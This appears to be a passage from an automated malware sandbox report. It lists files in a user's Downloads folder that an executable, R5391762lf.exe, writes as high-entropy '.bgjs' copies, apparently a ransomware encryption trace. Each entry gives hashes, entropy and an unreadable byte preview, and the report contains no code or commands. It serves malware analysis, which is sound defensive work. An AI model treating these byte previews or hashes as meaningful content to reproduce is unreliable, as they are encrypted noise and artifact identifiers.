.1+..n...G.c..h..4h..#.....P..7R.rC?....'.'tC.....:t<.c...........rG1`.s..4d......=u......."..4.......GN.6.......h.Gw.".V.....`.E..N...R....=.......).t...v..H.@..S..9=..w...W..g.....d.!..s+...R...K.{8.`..#~.]j.......,....\|.....;.0...x...;....L.!Q/:5;..O7ae\.P...z..2\.o.h.rMG..T.....].]...9O....3Z'..(.../..."F.S'.}f...A2..z...F....V_.RV.f#..e.qg.......u.98}.])..0....}...F.9..\f.....B.....\|h2..}.p.lg...H_%.4._eM../r/......%...v.h......A.W....DxZ..v50.{.../M...

C:\Users\user\Downloads\EEGWXUHVUG.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852448426338891
Encrypted:	false
SSDEEP:	24:diEpz1pGZ+WpcC4WVY5C5B0XlqngCybiyHXaZxut8heL1IIWYD5e3LggAk2ikyql:diEZPGfx4SY5+BYqgCmnmJELuFgVqju5
MD5:	CCE90A661BB9FD46F32C5CF46090C103
SHA1:	46B035F7CAABDC66D5E7255884B9E43629C9AC86
SHA-256:	308A7B719ECFFF4EDCAB3AF133B1DB680F8FF2C12AD7F3CC3D2C44F8E16ECD9F
SHA-512:	6C5295D7ED470F42A68D3744541DC0A39EA131BD91FF5BBCFB39110EC80B774328E69957715BE2D4CD925F32AD4B8533E16DE1E1FF924CB27E94E1EA871053DE
Malicious:	false
Preview:	EEGWX....P4...'].....H.P..........5^...e.j.%...\.....7.(...Z!W\|O6.P..yj.G..z...V.4.,. .7Dz.a..x<.8....+...l5....mG.-..l....d{..[.l..<..2.Po.G.@..L...."..CW.k.. ...Zj..U..^4.VDc.......E.>..<.........q....D.egtHP..a...j..`.........9E2.....d..M.!R:.7x...CHo.[.o\q.y,..0f..}...0X.7....("..i....-.\.+...O..(U.R....pK...L.4..I..m....G.m......k..5..l....E.............x.........RSg-...W.\|>J..V......hI.u...<CH/..@.^.T....Gt.^.....l..<9...M....qCM..Ca.H.Md...s..H....I.J.$.LC=e.{ .1+..n...G.c..h..4h..#.....P..7R.rC?....'.'tC.....:t<.c...........rG1`.s..4d......=u......."..4.......GN.6.......h.Gw.".V.....`.E..N...R....=.......).t...v..H.@..S..9=..w...W..g.....d.!..s+...R...K.{8.`..#~.]j.......,....\|.....;.0...x...;....L.!Q/:5;..O7ae\.P...z..2\.o.h.rMG..T.....].]...9O....3Z'..(.../..."F.S'.}f...A2..z...F....V_.RV.f#..e.qg.......u.98}.])..0....}...F.9..\f.....B.....\|h2..}.p.lg...H_%.4._eM../r/......%...v.h......A.W....DxZ..v50.{.../M...

C:\Users\user\Downloads\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532207116697625
Encrypted:	false
SSDEEP:	24:KNuynPOVUu5EohcB/H3pHfZlQvsL6eV6CzBQcuciOwHoxVJoXeRXq8uWbD:KNukPOVUu5EWcB/H314e6eYCgc1XUCXp
MD5:	46153F1C65FF650B016E317F88C34C58
SHA1:	B8136FE38206696C4D5E1D9AF57C9E1A56597CA6
SHA-256:	E2162E4FA0365830B8BEC090AC2F6AA6A0163557401B1F89C1A666955883C3D1
SHA-512:	B614C92EB817745BF5B981B01C82F4D477D904B9BA05453E65DF208779D943CC32C0973CB69412F275B79E5DF58EBD319BB16FFAD7F235B58CEFB91CAAF4991D
Malicious:	false
Preview:	GRXZD..;..QL....rH....I...6V...9.Te.z.'7'....o.l.`xA.N....%.u&..s..^.{,..z..`z9K..'f...^......#q..B$.1C.=...;T....."..An..D..38.........[.wM.....g.=..\.....w.>.\|n.a..\.i.7`B...$.......&q.1:.um5J.......\|&.r..fglO...w..`r<....=<...a2...l.....py.....M..<...g.`;..H..hM.....i.............-...k.S.Oz&.X....c......i.#...e..b5......5..cY$.g......`....4J../P.,R..B....Af.})I.c.\|u.Y.R..U..G1.E....1.w...R.D..g.}s.E.q.:.o.K+.[j...'.iv. .1....R.#.J8q....@....C................]$a.Ve.....E.K..K....)M..O.P........`c.".....K...@..mZ.;u..oB..R.O.Kj.RqgGm.%.V.....I.P.G^......op%`N.H....>.z!`..~:.,19..@.f/R...\D+...I...Qr.=/.la....8F.f.l,5\|...$..o..s......`.P40t\...".P.....Vl...<x.......s....5..U...h......y..&.YD...~.mU.@.3@.J...D.....e..7Xx.Q}s.R.1v5i....Y..mDW.).S..mw.C..L.a...G....'.qt*b)L....5\S..Ej.!.n7}dpC..7q\|....B0..u.....5&@.t.a....AS.:S`../.P.B.QUU...s....XK...W......vhY...H..;.&=..`...+N.Y..=.t.dS.g.7.G>.. .Z.].......H.7.&.;...@\c}L.

C:\Users\user\Downloads\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532207116697625
Encrypted:	false
SSDEEP:	24:KNuynPOVUu5EohcB/H3pHfZlQvsL6eV6CzBQcuciOwHoxVJoXeRXq8uWbD:KNukPOVUu5EWcB/H314e6eYCgc1XUCXp
MD5:	46153F1C65FF650B016E317F88C34C58
SHA1:	B8136FE38206696C4D5E1D9AF57C9E1A56597CA6
SHA-256:	E2162E4FA0365830B8BEC090AC2F6AA6A0163557401B1F89C1A666955883C3D1
SHA-512:	B614C92EB817745BF5B981B01C82F4D477D904B9BA05453E65DF208779D943CC32C0973CB69412F275B79E5DF58EBD319BB16FFAD7F235B58CEFB91CAAF4991D
Malicious:	false
Preview:	GRXZD..;..QL....rH....I...6V...9.Te.z.'7'....o.l.`xA.N....%.u&..s..^.{,..z..`z9K..'f...^......#q..B$.1C.=...;T....."..An..D..38.........[.wM.....g.=..\.....w.>.\|n.a..\.i.7`B...$.......&q.1:.um5J.......\|&.r..fglO...w..`r<....=<...a2...l.....py.....M..<...g.`;..H..hM.....i.............-...k.S.Oz&.X....c......i.#...e..b5......5..cY$.g......`....4J../P.,R..B....Af.})I.c.\|u.Y.R..U..G1.E....1.w...R.D..g.}s.E.q.:.o.K+.[j...'.iv. .1....R.#.J8q....@....C................]$a.Ve.....E.K..K....)M..O.P........`c.".....K...@..mZ.;u..oB..R.O.Kj.RqgGm.%.V.....I.P.G^......op%`N.H....>.z!`..~:.,19..@.f/R...\D+...I...Qr.=/.la....8F.f.l,5\|...$..o..s......`.P40t\...".P.....Vl...<x.......s....5..U...h......y..&.YD...~.mU.@.3@.J...D.....e..7Xx.Q}s.R.1v5i....Y..mDW.).S..mw.C..L.a...G....'.qt*b)L....5\S..Ej.!.n7}dpC..7q\|....B0..u.....5&@.t.a....AS.:S`../.P.B.QUU...s....XK...W......vhY...H..;.&=..`...+N.Y..=.t.dS.g.7.G>.. .Z.].......H.7.&.;...@\c}L.

C:\Users\user\Downloads\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834216558784623
Encrypted:	false
SSDEEP:	24:MQEJ+zgFkmcvp3rQJvdHj+tseQJnk04jIBFp7uuV/j2liHiKcItlCsXq8uWbD:6+n3rQ7QsdYjIBFp7uuVil/HEXFuED
MD5:	3F309FA0E77C1BE7A4A7499E1F744331
SHA1:	7419005FF8A733F61E7F14A40B314547117E1905
SHA-256:	7FE2C4C89961AD42B3ABB02C0DFBAA9CDB628E3E8F7D2FE794AFB53596160749
SHA-512:	E1B8D92C13FB110A690169914F0C7977206C870332A8EFAAA185EDCC365878A56BD37E5DCF9B4267B6832210A5FB83916440F44538A8C499C2014F30A219844C
Malicious:	false
Preview:	IPKGE.......+!...NH\| i..Lu....j.x..^=....1\|..#...y_S.T..U.".c.K+["r...\...0.m0^h..a%xP...m...Ii.....skP.&Z...v.....Ha.{.t....5E.w.. .....WpJpg.}i.....-0....xF./>...G........A.Ap5>.M.....8....^.].\|....4tr...8..A.w..>...... ....~:\|.zUed."....=....,.%.....W.EP+\;.h.....0e..x.e...j..g.\6&..../.KS......Y.....2.2[.]G./.eB...N..:.$!.!\js"...X.C.....#\|.a...-diT..0....J..Q.h.R.....5.P...R....s..+...t.;.c.A..@7.1.2..C.Nt..._....{.:..'\a.U.Z.......g .vE._W....T...P.Z.(...!....qpi....t\$..o.N.k...k.`./R.<.A..b..>.w.y..\.}.C.......8.K...d..E.j._...gh.zV.a..\|....-u..b.;.7)o..=,..T.".{..a\|(.."..j.+(..1..tB.G....[Z[~...W .1...8)gN\....E..Y....v..5.9....?.......\\E..q.3o.."ohq.QR..B5.^..RyX..3.9q..!$n.....[.....Z.e...Z.77.m\|t.._.m......t.M.]..3.A)..\PI......1.~..qq=..8(...^.2S..CI...:.A.m........[.[.SQ..UEn'._....%j......9..2.N~...6....>..n...x.].>......G......k"w$.%..n..m.I....].8..a...y.)].B.p.f.........Q.6....~a.........\|\.~.........H.....

C:\Users\user\Downloads\IPKGELNTQY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834216558784623
Encrypted:	false
SSDEEP:	24:MQEJ+zgFkmcvp3rQJvdHj+tseQJnk04jIBFp7uuV/j2liHiKcItlCsXq8uWbD:6+n3rQ7QsdYjIBFp7uuVil/HEXFuED
MD5:	3F309FA0E77C1BE7A4A7499E1F744331
SHA1:	7419005FF8A733F61E7F14A40B314547117E1905
SHA-256:	7FE2C4C89961AD42B3ABB02C0DFBAA9CDB628E3E8F7D2FE794AFB53596160749
SHA-512:	E1B8D92C13FB110A690169914F0C7977206C870332A8EFAAA185EDCC365878A56BD37E5DCF9B4267B6832210A5FB83916440F44538A8C499C2014F30A219844C
Malicious:	false
Preview:	IPKGE.......+!...NH\| i..Lu....j.x..^=....1\|..#...y_S.T..U.".c.K+["r...\...0.m0^h..a%xP...m...Ii.....skP.&Z...v.....Ha.{.t....5E.w.. .....WpJpg.}i.....-0....xF./>...G........A.Ap5>.M.....8....^.].\|....4tr...8..A.w..>...... ....~:\|.zUed."....=....,.%.....W.EP+\;.h.....0e..x.e...j..g.\6&..../.KS......Y.....2.2[.]G./.eB...N..:.$!.!\js"...X.C.....#\|.a...-diT..0....J..Q.h.R.....5.P...R....s..+...t.;.c.A..@7.1.2..C.Nt..._....{.:..'\a.U.Z.......g .vE._W....T...P.Z.(...!....qpi....t\$..o.N.k...k.`./R.<.A..b..>.w.y..\.}.C.......8.K...d..E.j._...gh.zV.a..\|....-u..b.;.7)o..=,..T.".{..a\|(.."..j.+(..1..tB.G....[Z[~...W .1...8)gN\....E..Y....v..5.9....?.......\\E..q.3o.."ohq.QR..B5.^..RyX..3.9q..!$n.....[.....Z.e...Z.77.m\|t.._.m......t.M.]..3.A)..\PI......1.~..qq=..8(...^.2S..CI...:.A.m........[.[.SQ..UEn'._....%j......9..2.N~...6....>..n...x.].>......G......k"w$.%..n..m.I....].8..a...y.)].B.p.f.........Q.6....~a.........\|\.~.........H.....

C:\Users\user\Downloads\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8481855534562674
Encrypted:	false
SSDEEP:	24:xYT3fBPuqKIuopD3J6Kna/f0js23IkTt+sWXZav5rp8cqfbjvH5Xq8uWbD:u38qNuouKna/f0jak5+dmlyxv/5XFuED
MD5:	AEFE9EB3C90C158CF1EF62B429509171
SHA1:	A0BE3FE28A8FAA3AE39EBA2BCD053A06C34AD48D
SHA-256:	A9E1D010024C02DC8B485481E5683A666CD83174B7D9C0838DE072A26EC5BE13
SHA-512:	0F1ABDE341FE1A0A25FF397BC8FC36B2A594DD693ADD48648A837D989DDF7C5FA1CCC82053B8D41D78B3EB1C37E5ACA98E6E34C77AECD3711A6EDE57237680EB
Malicious:	false
Preview:	IPKGE...~w...DS......Je.z:..^n..,........u..K.._.....!....c.q.C....a8...fo...S55..u...Y..a.r..w>.)m4.+..Yh^[...N.R..p..G.7...QX..P....._w.q. kV.Y/...4....u...4p].W{A.tE..........}M.S.....ra.....44.JA...y...o.{.......k:.._.]......E..eA.P.l.$@4,..$y.G....?...G.j..z.v.\|..]=............_. ......H..s..W4~..[.....(.T6...O<.P@..1....6...Uu....F..zer.h..#o.S....M.H...........a.b..c.l5SMz......a...B..GO.....]=1..98&V.2U...^M.h%..-.d.E!Y..B...p0M..._._./z.L\|...(I[S...O.F.d..3....y..vS2$.$..b..._..S.!.JclB..."b.._..L.]..[H.......z..O....\|.r.Q..y...[@_..b..;....N...H..7......<.6.x.j.pE.>N...9.]F\|u..y@.z....H5........@\|...P.e#.R?.x.5.....8...W.#dJNu......oH...C&]....Mp.9Id.....:..'4...?........Wd)..}.\....Q..b..,....\|..-W...v.5T...6OT.C.....X.........?...>Ils..'5....G.-....%^..N....v.O.B..0wz.}7.#^[!....9#..d.+..4w...P..tLg$.l.....").....@c.~i..8k4..y>zA.;..M.....Ol..#.s...Q......+.m.,v..UK#,..1...G..M....~.!...m...\..W.f.-..61.o..

C:\Users\user\Downloads\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8481855534562674
Encrypted:	false
SSDEEP:	24:xYT3fBPuqKIuopD3J6Kna/f0js23IkTt+sWXZav5rp8cqfbjvH5Xq8uWbD:u38qNuouKna/f0jak5+dmlyxv/5XFuED
MD5:	AEFE9EB3C90C158CF1EF62B429509171
SHA1:	A0BE3FE28A8FAA3AE39EBA2BCD053A06C34AD48D
SHA-256:	A9E1D010024C02DC8B485481E5683A666CD83174B7D9C0838DE072A26EC5BE13
SHA-512:	0F1ABDE341FE1A0A25FF397BC8FC36B2A594DD693ADD48648A837D989DDF7C5FA1CCC82053B8D41D78B3EB1C37E5ACA98E6E34C77AECD3711A6EDE57237680EB
Malicious:	false
Preview:	IPKGE...~w...DS......Je.z:..^n..,........u..K.._.....!....c.q.C....a8...fo...S55..u...Y..a.r..w>.)m4.+..Yh^[...N.R..p..G.7...QX..P....._w.q. kV.Y/...4....u...4p].W{A.tE..........}M.S.....ra.....44.JA...y...o.{.......k:.._.]......E..eA.P.l.$@4,..$y.G....?...G.j..z.v.\|..]=............_. ......H..s..W4~..[.....(.T6...O<.P@..1....6...Uu....F..zer.h..#o.S....M.H...........a.b..c.l5SMz......a...B..GO.....]=1..98&V.2U...^M.h%..-.d.E!Y..B...p0M..._._./z.L\|...(I[S...O.F.d..3....y..vS2$.$..b..._..S.!.JclB..."b.._..L.]..[H.......z..O....\|.r.Q..y...[@_..b..;....N...H..7......<.6.x.j.pE.>N...9.]F\|u..y@.z....H5........@\|...P.e#.R?.x.5.....8...W.#dJNu......oH...C&]....Mp.9Id.....:..'4...?........Wd)..}.\....Q..b..,....\|..-W...v.5T...6OT.C.....X.........?...>Ils..'5....G.-....%^..N....v.O.B..0wz.}7.#^[!....9#..d.+..4w...P..tLg$.l.....").....@c.~i..8k4..y>zA.;..M.....Ol..#.s...Q......+.m.,v..UK#,..1...G..M....~.!...m...\..W.f.-..61.o..

C:\Users\user\Downloads\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863782570509304
Encrypted:	false
SSDEEP:	24:Kqvsvqg/VftwDslB4yEiOjL+dXSzA3qclIT3SUal5mKQZRsqnTHgCXMAvrAWumXp:Kqvsvqg/x2DRvaSSs3OyWATLPXFuED
MD5:	146F69D0C08AEF5D18E596D554D83931
SHA1:	A4C96D0076B3A2982C6E9558858F79D93BD85EEF
SHA-256:	E1056B0A179FE1FF8F13D8BC20F0B77193DA3165D1E72058F1A4695C26D4B2F3
SHA-512:	4B731C944CF1A63012DED54845740D5A510110FC6C3A14BD2E100419861E17C61737CB131824CD4981C3EFE59E769D3931C6F75683E5031CEC74DA4E2A616BA4
Malicious:	false
Preview:	LSBIH.3.2..........rm6.o...5..E.......g@.......p..[..!<.cu...E..x.'..d9.....B.#.T...)Lg'...G....o.7.#.A....?}L.......D'$N/.p~..xE...8.7.............4...i.`.......T..&/..t.<J..]V...\|..I....X..?v.)....._.....'....D"...q.Q.5.T...z.S.....i.I..N.T.+...... ...Cu...n..}!...$.B%..... . ....OYd....I..,.1..%.L.....p=U........N.w....v.-..'+1.C..08P......?~.b.eW...$......X.......M%{.H.x..x.h\.%...A..k.F...I7.Io.,.}.2SS~}...yFp..Y.4.C.n..t../.>.8.V....!.:.[.......%/...5..P.".&\...+..T.........s....?.jq..?Y.X......x.aq...R.#...s..c.4...i..G./l}8bw....r!Lw.z...K'.........Y..2.....(...m.u....4....\|.\|.g.9%.....O.I.......[.\.$:..@.%....."....UT.?.BQ..Z....F6...f.)..W.i.f......?4.#g.G.$....,..G..0.U0....u...q...;...Vh..a`>p.vPO.b..# ......q.lf.@..i....<h....W.7.'.".l.....t...Z7.8E..sRVh.".6.M.K-J...).......6.H..!2a....:. .W.>.^.z......F..%+..r5...^a.=.=.%k]....hu.{....(..{ .0.i.o.yb.4..:J.?e....t.....o..7.N..q.$e.G.'......d.;-O*.~.....M.}7.U....p.1 .=

C:\Users\user\Downloads\LSBIHQFDVT.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863782570509304
Encrypted:	false
SSDEEP:	24:Kqvsvqg/VftwDslB4yEiOjL+dXSzA3qclIT3SUal5mKQZRsqnTHgCXMAvrAWumXp:Kqvsvqg/x2DRvaSSs3OyWATLPXFuED
MD5:	146F69D0C08AEF5D18E596D554D83931
SHA1:	A4C96D0076B3A2982C6E9558858F79D93BD85EEF
SHA-256:	E1056B0A179FE1FF8F13D8BC20F0B77193DA3165D1E72058F1A4695C26D4B2F3
SHA-512:	4B731C944CF1A63012DED54845740D5A510110FC6C3A14BD2E100419861E17C61737CB131824CD4981C3EFE59E769D3931C6F75683E5031CEC74DA4E2A616BA4
Malicious:	false
Preview:	LSBIH.3.2..........rm6.o...5..E.......g@.......p..[..!<.cu...E..x.'..d9.....B.#.T...)Lg'...G....o.7.#.A....?}L.......D'$N/.p~..xE...8.7.............4...i.`.......T..&/..t.<J..]V...\|..I....X..?v.)....._.....'....D"...q.Q.5.T...z.S.....i.I..N.T.+...... ...Cu...n..}!...$.B%..... . ....OYd....I..,.1..%.L.....p=U........N.w....v.-..'+1.C..08P......?~.b.eW...$......X.......M%{.H.x..x.h\.%...A..k.F...I7.Io.,.}.2SS~}...yFp..Y.4.C.n..t../.>.8.V....!.:.[.......%/...5..P.".&\...+..T.........s....?.jq..?Y.X......x.aq...R.#...s..c.4...i..G./l}8bw....r!Lw.z...K'.........Y..2.....(...m.u....4....\|.\|.g.9%.....O.I.......[.\.$:..@.%....."....UT.?.BQ..Z....F6...f.)..W.i.f......?4.#g.G.$....,..G..0.U0....u...q...;...Vh..a`>p.vPO.b..# ......q.lf.@..i....<h....W.7.'.".l.....t...Z7.8E..sRVh.".6.M.K-J...).......6.H..!2a....:. .W.>.^.z......F..%+..r5...^a.=.=.%k]....hu.{....(..{ .0.i.o.yb.4..:J.?e....t.....o..7.N..q.$e.G.'......d.;-O*.~.....M.}7.U....p.1 .=

C:\Users\user\Downloads\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856381425576859
Encrypted:	false
SSDEEP:	24:Vbv1mKm8YKMfq1UuVtdzAZt8pvKG/x80D/Xzf4j5OKxlxU2yE1GWWB4Xq8uWbD:VbvMhfq1U6AZtYiG580TXzw5rxleKjWI
MD5:	0CFB070EA2F7C7B62669C2F97348913D
SHA1:	DB486428E425D80E700ABF192D5672961B4FFCF4
SHA-256:	885558E2110CDF5E7E3D51BD1F56064DD24ACFAF8DCEAD4F379C6B35D6E2184C
SHA-512:	5D5960F7C45B6738D1132A535860CBC12099AD163309C406648709A01A9800B680E36827BC9BEAB186EF1441575BE0BB5D3D9A1386EC0B13609BD38F68096E32
Malicious:	false
Preview:	MXPXC...+......O.o..._>...?....#c!d-....0.%...oc.h..s.#q..Z>......^...g...m......s.?..>.#C...Z... .(........yb..>.....C...AW..X.~..%.f.]]....wL.ti..{....6.@gRj.'w\|.G.]H...J.#sK..m.m.sBu..{.......S.s6).....^'6....../.l.W\.=[.uh3..6....=.H..h.H.7 .q.........8{.......)z......v.4..........]../z.95}.(.j.....Ef...f....).9.........AO..d.....40......Q...V}...........\\.$J..Q.`.D.V+...y........2.....5...v......n.x.K.=.r[[K.MO.Kj........J..%...X.4..ts.........-.+c.4d........v\.(.)..A~fT......r...n..<'.V,.x=+...2.wx..a6d...FG.s..U.Td. .!~.<.}.I..l..G....u........zq..[.p.......(.#C.".vd..u07..i......M....0.X.P...m..P@..!...@..X.......w.m..N.....-U...T:....z..W....},.}.j...:f.........}.RR.:.....\|.p.e.M.......k.^..9....6.v.m@P]"(_.+..].~.2..js.D..3.D.]./j....]...Y%.Y....cY%=.S.X..R.gN.......2@..\|=%..8<.I..k.{))O..]n.W.o.6.V..<...=..b.\|&_.n......sE#.Wx.x....:....0U4.M.Q.Yr..R.*.h...0......0..0.$.\|...>.+K....\....g4.zg4E....x...Y.....`..-...[.&^..

C:\Users\user\Downloads\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856381425576859
Encrypted:	false
SSDEEP:	24:Vbv1mKm8YKMfq1UuVtdzAZt8pvKG/x80D/Xzf4j5OKxlxU2yE1GWWB4Xq8uWbD:VbvMhfq1U6AZtYiG580TXzw5rxleKjWI
MD5:	0CFB070EA2F7C7B62669C2F97348913D
SHA1:	DB486428E425D80E700ABF192D5672961B4FFCF4
SHA-256:	885558E2110CDF5E7E3D51BD1F56064DD24ACFAF8DCEAD4F379C6B35D6E2184C
SHA-512:	5D5960F7C45B6738D1132A535860CBC12099AD163309C406648709A01A9800B680E36827BC9BEAB186EF1441575BE0BB5D3D9A1386EC0B13609BD38F68096E32
Malicious:	false
Preview:	MXPXC...+......O.o..._>...?....#c!d-....0.%...oc.h..s.#q..Z>......^...g...m......s.?..>.#C...Z... .(........yb..>.....C...AW..X.~..%.f.]]....wL.ti..{....6.@gRj.'w\|.G.]H...J.#sK..m.m.sBu..{.......S.s6).....^'6....../.l.W\.=[.uh3..6....=.H..h.H.7 .q.........8{.......)z......v.4..........]../z.95}.(.j.....Ef...f....).9.........AO..d.....40......Q...V}...........\\.$J..Q.`.D.V+...y........2.....5...v......n.x.K.=.r[[K.MO.Kj........J..%...X.4..ts.........-.+c.4d........v\.(.)..A~fT......r...n..<'.V,.x=+...2.wx..a6d...FG.s..U.Td. .!~.<.}.I..l..G....u........zq..[.p.......(.#C.".vd..u07..i......M....0.X.P...m..P@..!...@..X.......w.m..N.....-U...T:....z..W....},.}.j...:f.........}.RR.:.....\|.p.e.M.......k.^..9....6.v.m@P]"(_.+..].~.2..js.D..3.D.]./j....]...Y%.Y....cY%=.S.X..R.gN.......2@..\|=%..8<.I..k.{))O..]n.W.o.6.V..<...=..b.\|&_.n......sE#.Wx.x....:....0U4.M.Q.Yr..R.*.h...0......0..0.$.\|...>.+K....\....g4.zg4E....x...Y.....`..-...[.&^..

C:\Users\user\Downloads\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829507238993938
Encrypted:	false
SSDEEP:	24:qAw/ibNVuS5lHmgwiL7J4pBnvzF3Blo/WNdq37SNJrgdrC7qYoGTEQ/TXHAIDXq+:DNpHF/E1zFC37SNqG7qYoGTEQrXHdDXp
MD5:	57C75D8A6DBA728E0AD11F9E13231FA2
SHA1:	4063BEDADD887E16812AAE096BA3DCE224454CA1
SHA-256:	DF7B2EBED4970A397B124B398B2929687E007AB534D110B9281326FEBB24E94B
SHA-512:	2B1D9F17B8E49EC7832AA095B8EC06359D97335E801A114099367122B3B714211741830BA92AAAF0A3B291889061082E1CC7026662BB9AF72CA39B65A440F54A
Malicious:	false
Preview:	NEBFQF.\.I-{`.z..D......B........!Q\3.f.....E.......Qy.#...8.ZJ._@.T.NdZ.....El.rL.....UM.95m.J.[.O./w...$.:D..Ba..W..+....."jO .6=...bRI.`.....v....u..: ....a.4..h.q`.o.a:.$......9.yh`.>.a.`}.g...*..F.L-.._...d.T.......U.y....mW.Q.8....}.0M..byB.Q...^.F....Tto..3U.E@hp.,..&...+.._..b.Z.T...4/..c..w^....N.....M...S.bm..^Y....6^b......O.D.0jiU.....~.g/j.Yt......P...j...B.EmDi....P4`....W..,.....G..c.c...d........l...P..:..^;..rl...e<..l.C....+....um9.L.1.co..Q...x[&..,.y.e.v..1d...7.S..`..b..d.g.O%b..-..S.+..b..`..L1j..&=.c.8u...v=...........+.}.@J.3...\..3..&........m.).w\|..u4..A@f.J.".5N.....7&x..W.....~5.........i=...)......QB9.n...J.........\|H.E...t.-G3.....e\.:3..2.....V...........T...?....1....K..d..9...0.cq(!j..........}.6,..:?..h.a/-q....."[.......`.#..U.....E..!..X...N.B"%...Ef!.;.T....I..C=.aF`...3....#G..63.G.6L......<..k.5..&..e......NoZT..='..S.B...).......`{s.O.~.Hm...J..,.E.N..<....A...;.#n.;......o.0.j..>$....Km.L.O.:T...M..7.

C:\Users\user\Downloads\NEBFQQYWPS.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829507238993938
Encrypted:	false
SSDEEP:	24:qAw/ibNVuS5lHmgwiL7J4pBnvzF3Blo/WNdq37SNJrgdrC7qYoGTEQ/TXHAIDXq+:DNpHF/E1zFC37SNqG7qYoGTEQrXHdDXp
MD5:	57C75D8A6DBA728E0AD11F9E13231FA2
SHA1:	4063BEDADD887E16812AAE096BA3DCE224454CA1
SHA-256:	DF7B2EBED4970A397B124B398B2929687E007AB534D110B9281326FEBB24E94B
SHA-512:	2B1D9F17B8E49EC7832AA095B8EC06359D97335E801A114099367122B3B714211741830BA92AAAF0A3B291889061082E1CC7026662BB9AF72CA39B65A440F54A
Malicious:	false
Preview:	NEBFQF.\.I-{`.z..D......B........!Q\3.f.....E.......Qy.#...8.ZJ._@.T.NdZ.....El.rL.....UM.95m.J.[.O./w...$.:D..Ba..W..+....."jO .6=...bRI.`.....v....u..: ....a.4..h.q`.o.a:.$......9.yh`.>.a.`}.g...*..F.L-.._...d.T.......U.y....mW.Q.8....}.0M..byB.Q...^.F....Tto..3U.E@hp.,..&...+.._..b.Z.T...4/..c..w^....N.....M...S.bm..^Y....6^b......O.D.0jiU.....~.g/j.Yt......P...j...B.EmDi....P4`....W..,.....G..c.c...d........l...P..:..^;..rl...e<..l.C....+....um9.L.1.co..Q...x[&..,.y.e.v..1d...7.S..`..b..d.g.O%b..-..S.+..b..`..L1j..&=.c.8u...v=...........+.}.@J.3...\..3..&........m.).w\|..u4..A@f.J.".5N.....7&x..W.....~5.........i=...)......QB9.n...J.........\|H.E...t.-G3.....e\.:3..2.....V...........T...?....1....K..d..9...0.cq(!j..........}.6,..:?..h.a/-q....."[.......`.#..U.....E..!..X...N.B"%...Ef!.;.T....I..C=.aF`...3....#G..63.G.6L......<..k.5..&..e......NoZT..='..S.B...).......`{s.O.~.Hm...J..,.E.N..<....A...;.#n.;......o.0.j..>$....Km.L.O.:T...M..7.

C:\Users\user\Downloads\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832386047841615
Encrypted:	false
SSDEEP:	24:s4EwR9hH1/ZrqLuoEgu+hP5sF1E2NEvBxYUhwSx9XP4Y0UwFeXq8uWbD:s98HLlguOsNw9P7z2eXFuED
MD5:	852F774DF881990FABFA6F10CFE25107
SHA1:	01AD8D9F18150071D427987888CFF14EC4447D82
SHA-256:	14A226C1ACC7AD3F90477AAAC592D374E17E542F05491A227BF19C4E0AC7651D
SHA-512:	2E6D6517C1CEAD31366AE2A78F9E323766231C41454069613CDE99D7DA89B1E3DBA11DF6181F8C7D03FA59DFF64776C2219B9347830DCE6738CC0FC38BD28908
Malicious:	false
